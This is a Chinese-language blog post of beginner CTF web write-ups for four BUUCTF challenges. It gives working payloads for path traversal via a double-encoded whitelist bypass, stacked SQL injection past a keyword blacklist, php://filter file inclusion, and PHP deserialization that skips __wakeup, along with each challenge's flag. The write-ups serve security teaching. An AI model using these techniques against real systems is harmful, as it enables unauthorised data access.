本篇記錄CTF中Web題WriteUp,適合入門新手但不適用於零基礎,推薦使用右下角目錄瀏覽
2021-5-12
[HCTF 2018]WarmUp - 出自BUUCTF
打開頁面發現有張圖片 我們直接查看源碼分析
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
可以看到存在頁面: source.php 訪問可以直接看到源代碼 其中
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
定義了三個條件
1.不允許為空
2.必須為字符串
3.通過checkFile()函數校驗
接下來分析checkFile()函數:
class emmm //定義emmm類
{
public static function checkFile(&$page) #//將傳入的參數給$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //聲明變量$whitelist數組
if (! isset($page) || !is_string($page)) { //若$page值為空或者$page不是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //若$page值存在於$whitelist數組中
return true;
}
$_page = mb_substr( //截取$page字符串?前面的部分,若無則截取整段$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解碼$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定義了hint的參數只能為source.php或hint.php
我們在source.php后面跟上?file=hint.php 頁面返回結果
flag not here, and flag in ffffllllaaaagggg
可以知道flag文件的文件名為ffffllllaaaagggg
其中 urldecode()對$page進行了解碼后再次截取了?前的內容並且賦值給$_page
$_page = urldecode($page); //url解碼$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
我們可以通過這個函數繞過白名單檢測,將?編碼兩次后的結果%253F作為參數拼接出payload
http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg
FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}
2021-5-21
[SUCTF 2019]EasySQL - 出自BUUCTF
我們首先進入頁面 對注入點進行測試 輸入數字頁面回顯數組
嘗試輸入字符串頁面沒有回顯
輸入注入語句頁面返回Nonono.
嘗試堆疊注入 構建語句查詢數據庫
1;show databases;
同理構建語句查詢當前使用的庫下的所有的表
1;show tables;
嘗試使用show columns查看flag表內的數據
1;show columns from Flag;#
發現from被屏蔽了 頁面返回Nonono.
多次嘗試無果 在writeup內找到網頁源代碼
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
|readfile|where|from|union|update|delete|if|sleep|extractvalue|
updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
我們找到注入點的語句
select ".$post['query']."||flag from Flag
語句會創建query傳來參數的字段與結果一起查詢
構建語句 查詢表中所有結果 在網頁中返回flag值
select *,1||flag from Flag
flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}
[ACTF2020 新生賽]Include - 出自BUUCTF
打開頁面點擊tips看到URL對flag.php頁面進行了包含
進行多次嘗試包含上級目錄的是否存在flag文件無果轉換思路 通過php偽協議查看當前頁面源碼 構建語句
file=php://filter/read=convert.base64-encode/resource=flag.php
網頁返回base64加密后的源碼
解碼后發現網頁源代碼內就存在flag
>>> import base64
>>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo="
>>> base64.b64decode(str)
b'<?php\necho "Can you find out the flag?";\n//flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}\n'
>>>
flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}
2021-6-01
[極客大挑戰 2019]PHP - 出自BUUCTF
知識點:PHP反序列化
我們首先打開頁面看到提示存在備份文件,使用目錄掃描工具掃描
得到壓縮包www.zip 查看壓縮包下存在三個頁面
-
index.php - 主頁
-
class.php - 主頁包含頁面
-
flag.php - 存在錯誤Flag的無用頁面
在index.php看到源碼
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
對頁面class.php進行了包含 並且接受傳入反序列化后的select參數
接下來分析class.php頁面
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
可以看到當傳入參數username='admin'且password=100時,執行__destruct()方法將會得到Flag,所以我們構建序列化參數
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
var_dump(serialize($a));
保存代碼后執行 獲得序列化后的數據
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在傳入參數前還需要注意__wakeup()魔法函數 在這順便貼一下常見魔法函數:
__construct() 創建對象時調用
__destruct() 銷毀對象時調用
__toString() 當一個對象被當作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup 將在序列化之后立即被調用
__wakeup()魔法函數實際上是可以跳過的,當反序列化字符串時,屬性的個數大於實際屬性個數時,例如:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
0 代表對象名
3 代表占三個字符
Name 類名
3 代表3個屬性
s 數據類型string
Nameusername 類名+屬性名
在傳入數據之前我們還需要注意Name類中聲明字段時,使用private聲明的私有字段,*private修飾變量時為x00類名x00變量名
但是在構建腳本時x00會報錯,所以用%00來填充,根據已有信息,構建payload獲得Flag
[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}